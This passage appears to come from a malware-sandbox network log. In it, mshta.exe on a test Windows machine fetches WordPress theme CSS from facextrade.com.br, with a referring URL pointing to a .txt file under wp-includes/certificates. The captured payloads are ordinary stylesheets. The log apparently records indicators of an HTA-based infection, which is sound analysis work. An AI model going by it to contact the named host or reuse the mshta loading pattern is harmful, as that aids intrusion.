Aug 16, 2022 11:05:51.278232098 CEST	1304	IN	Data Raw: 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 2e 37 36 32 34 33 30 39 33 39 32 32 36 35 31 39 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 Data Ascii: der-box; float: left; margin-left: 2.7624309392265194%; margin-left: 2.709239449864817%; } .row-fluid [class="span"]:first-child { margin-left: 0; } .row-fluid .controls-row [class="span"] + [class="span"] { mar
Aug 16, 2022 11:05:51.278249979 CEST	1305	IN	Data Raw: 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 32 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35 2e 35 32 34 38 36 31 38 37 38 34 35 33 30 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35 Data Ascii: .row-fluid .offset12 { margin-left: 105.52486187845304%; margin-left: 105.41847889972962%; } .row-fluid .offset12:first-child { margin-left: 102.76243093922652%; margin-left: 102.6560479605031%; } .row-fluid .offset11
Aug 16, 2022 11:05:51.489772081 CEST	1421	IN	Data Raw: 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 31 34 33 36 34 36 34 30 38 38 33 39 37 38 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 30 33 37 32 36 33 34 33 30 31 31 36 33 37 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f Data Ascii: margin-left: 54.14364640883978%; margin-left: 54.037263430116376%; } .row-fluid .offset6:first-child { margin-left: 51.38121546961326%; margin-left: 51.27483249088986%; } .row-fluid .offset5 { margin-left: 45.5801104
Aug 16, 2022 11:05:51.504353046 CEST	1429	OUT	GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:51.718063116 CEST	1487	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:01:22 GMT Server: Apache ETag: "a5303e-6698-58592d3483f00" Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT Content-Length: 26264 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 14386666 22428868 Age: 269 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 2a 0a 2a 09 47 45 4e 45 52 41 4c 0a 2a 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 64 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 64 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 09 66 6f 6e 74 3a 20 69 6e 68 65 72 69 74 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 66 61 6b 65 68 6f 76 65 72 20 7b 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 30 70 78 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a Data Ascii: /**************************GENERAL*************************/.camera_wrap a, .camera_wrap img, .camera_wrap ol, .camera_wrap ul, .camera_wrap li,.camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td.camera_thumbs_wrap a, .camera_thumbs_wrap img, .camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,.camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {background: none;border: 0;font: inherit;font-size: 100%;margin: 0;padding: 0;vertical-align: baseline;list-style: none}.camera_wrap {display: none;float: left;position: relative;z-index: 0;}.camera_wrap img {max-width: none!important;}.camera_fakehover {height: 100%;min-height: 60px;position: relative;width: 100%;z-index: 1;}.camera_wrap {width: 100%;
Aug 16, 2022 11:05:51.738605976 CEST	1514	OUT	GET /wp-content/themes/theme51253/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:51.958045959 CEST	1530	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:02:46 GMT Server: Apache ETag: "a53798-171-58592c24b7dc0" Last-Modified: Tue, 02 Apr 2019 21:24:15 GMT Content-Length: 369 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 14386668 21534753 Age: 185 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2d 2d 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 74 68 65 6d 65 35 31 32 35 33 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 34 2e 34 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 54 65 6d 70 6c 61 74 65 3a 20 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 0a 2d 2d 2a 2f 0a 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 50 6c 65 61 73 65 2c 20 59 6f 75 20 6d 61 79 20 70 75 74 20 63 75 73 74 6f 6d 20 43 53 53 20 68 65 72 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a Data Ascii: /--Theme Name: theme51253Theme URI: http://info.template-help.com/help/Description: A theme for Wordpress 4.4.xAuthor: Template_Help.comAuthor URI: http://info.template-help.com/help/Template: CherryFrameworkVersion: 3.1.5--//* ----------------------------------------Please, You may put custom CSS here---------------------------------------- */
Aug 16, 2022 11:05:51.959561110 CEST	1531	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:52.183442116 CEST	1549	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:52 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT ETag: "a4fabd-1735-58592f81e2d80" Accept-Ranges: bytes Content-Length: 5941 Connection: close Content-Type: text/css

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49766	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:52.300421953 CEST	1556	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:52.533313036 CEST	1558	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:52 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT ETag: "a4fae3-1724-58592f82d6fc0" Accept-Ranges: bytes Content-Length: 5924 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 0a 20 2a 20 09 43 6f 72 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 43 53 53 20 46 69 6c 65 0a 20 2a 09 76 31 2e 32 34 0a 20 2a 2f 0a 0a 2f 2a 20 63 6c 65 61 72 66 69 78 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 2e 22 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 09 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2f 2a 20 64 69 73 70 6c 61 79 20 6e 6f 6e 65 20 75 6e 74 69 6c 20 69 6e 69 74 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 70 61 6e 2d 79 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 70 78 2c 20 30 70 78 2c 20 30 70 78 29 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 2e 61 75 74 6f 48 65 69 67 68 74 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 7d 0a 09 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2c 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 7d 0a Data Ascii: /* * Core Owl Carousel CSS File v1.24 //* clearfix /.owl-carousel .owl-wrapper:after {content: ".";display: block;clear: both;visibility: hidden;line-height: 0;height: 0;}/ display none until init */.owl-carousel{display: none;position: relative;width: 100%;-ms-touch-action: pan-y;}.owl-carousel .owl-wrapper{display: none;position: relative;-webkit-transform: translate3d(0px, 0px, 0px);}.owl-carousel .owl-wrapper-outer{overflow: hidden;position: relative;width: 100%;}.owl-carousel .owl-wrapper-outer.autoHeight{-webkit-transition: height 500ms ease-in-out;-moz-transition: height 500ms ease-in-out;-ms-transition: height 500ms ease-in-out;-o-transition: height 500ms ease-in-out;transition: height 500ms ease-in-out;}.owl-carousel .owl-item{float: left;}.owl-controls .owl-page,.owl-controls .owl-buttons div{cursor: pointer;}.owl-controls {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}
Aug 16, 2022 11:05:52.533380985 CEST	1559	IN	Data Raw: 0a 2f 2a 20 6d 6f 75 73 65 20 67 72 61 62 20 69 63 6f 6e 20 2a 2f 0a 2e 67 72 61 62 62 69 6e 67 20 7b 20 0a 20 20 20 20 63 75 72 73 6f 72 3a 75 72 6c 28 67 72 61 62 62 69 6e 67 2e 70 6e 67 29 20 38 20 38 2c 20 6d 6f 76 65 3b 0a 7d 0a 0a 2f 2a 20 Data Ascii: /* mouse grab icon /.grabbing { cursor:url(grabbing.png) 8 8, move;}/ fix */.owl-carousel .owl-wrapper,.owl-carousel .owl-item{-webkit-backface-visibility: display;-moz-backface-visibility: display;-ms-backface-visibil
Aug 16, 2022 11:05:52.533422947 CEST	1561	IN	Data Raw: 65 20 62 6f 74 68 3b 0a 20 20 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 65 61 73 65 20 62 6f 74 68 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 Data Ascii: e both; -moz-animation: scaleToFade .7s ease both; animation: scaleToFade .7s ease both;}.owl-goDown-in { -webkit-animation: goDown .6s ease both; -moz-animation: goDown .6s ease both; animation: goDown .6s ease both;}/* scaleUp
Aug 16, 2022 11:05:52.533464909 CEST	1562	IN	Data Raw: 61 74 65 5a 28 2d 35 30 30 70 78 29 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 25 29 3b 20 7d 0a 7d 0a 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 62 61 63 6b 53 6c 69 64 65 4f 75 74 20 7b 0a 20 20 32 35 25 20 7b 20 6f 70 61 63 69 74 79 Data Ascii: ateZ(-500px) translateX(-200%); }}@-moz-keyframes backSlideOut { 25% { opacity: .5; -moz-transform: translateZ(-500px); } 75% { opacity: .5; -moz-transform: translateZ(-500px) translateX(-200%); } 100% { opacity: .5; -moz-transform: tr
Aug 16, 2022 11:05:52.533502102 CEST	1563	IN	Data Raw: 6f 20 7b 20 6f 70 61 63 69 74 79 3a 20 30 3b 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2e 38 29 3b 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 54 6f 46 61 64 65 20 7b 0a 20 20 74 6f 20 7b 20 6f 70 61 Data Ascii: o { opacity: 0; -moz-transform: scale(.8); }}@keyframes scaleToFade { to { opacity: 0; transform: scale(.8); }}@-webkit-keyframes goDown { from { -webkit-transform: translateY(-100%); }}@-moz-keyframes goDown { from { -moz-transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49767	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:52.422739029 CEST	1557	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:52.661953926 CEST	1565	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:52 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT ETag: "a4faed-680-58592f82d6fc0" Accept-Ranges: bytes Content-Length: 1664 Connection: close Content-Type: text/css Data Raw: 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 4f 77 6c 20 44 65 6d 6f 20 54 68 65 6d 65 20 0a 2a 09 76 31 2e 32 34 0a 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 7b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 4e 65 78 74 20 61 6e 64 20 50 72 65 76 20 62 75 74 74 6f 6e 73 20 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 33 70 78 20 31 30 70 78 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 7d 0a 2f 2a 20 43 6c 69 63 6b 61 62 6c 65 20 63 6c 61 73 73 20 66 69 78 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 68 6f 76 65 72 20 6f 6e 20 74 6f 75 63 68 20 64 65 76 69 63 65 73 20 2a 2f 0a 2f 2a 20 55 73 65 20 69 74 20 66 6f 72 20 6e 6f 6e 2d 74 6f 75 63 68 20 68 6f 76 65 72 20 61 63 74 69 6f 6e 20 2a 2f 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 2e 63 6c 69 63 6b 61 62 6c 65 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 3a 68 6f 76 65 72 7b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 31 30 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 50 61 67 69 6e 61 74 69 6f 6e 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 7d 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 20 73 70 61 6e 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 77 69 64 74 68 3a 20 31 32 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 20 37 70 78 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 Data Ascii: /** Owl Carousel Owl Demo Theme v1.24/.owl-theme .owl-controls{margin-top: 10px;text-align: center;}/* Styling Next and Prev buttons /.owl-theme .owl-controls .owl-buttons div{color: #FFF;display: inline-block;zoom: 1;display: inline;/IE7 life-saver /margin: 5px;padding: 3px 10px;font-size: 12px;-webkit-border-radius: 30px;-moz-border-radius: 30px;border-radius: 30px;background: #869791;filter: Alpha(Opacity=50);/IE7 fix/opacity: 0.5;}/* Clickable class fix problem with hover on touch devices // Use it for non-touch hover action /.owl-theme .owl-controls.clickable .owl-buttons div:hover{filter: Alpha(Opacity=100);/IE7 fix/opacity: 1;text-decoration: none;}/ Styling Pagination/.owl-theme .owl-controls .owl-page{display: inline-block;zoom: 1;display: inline;/IE7 life-saver /}.owl-theme .owl-controls .owl-page span{display: block;width: 12px;height: 12px;margin: 5px 7px;filter: Alpha(Opacity=50);/IE7 fix/opacity: 0.5;-webkit-border-radius: 20px;-moz-border-radius: 20px;border-radius:
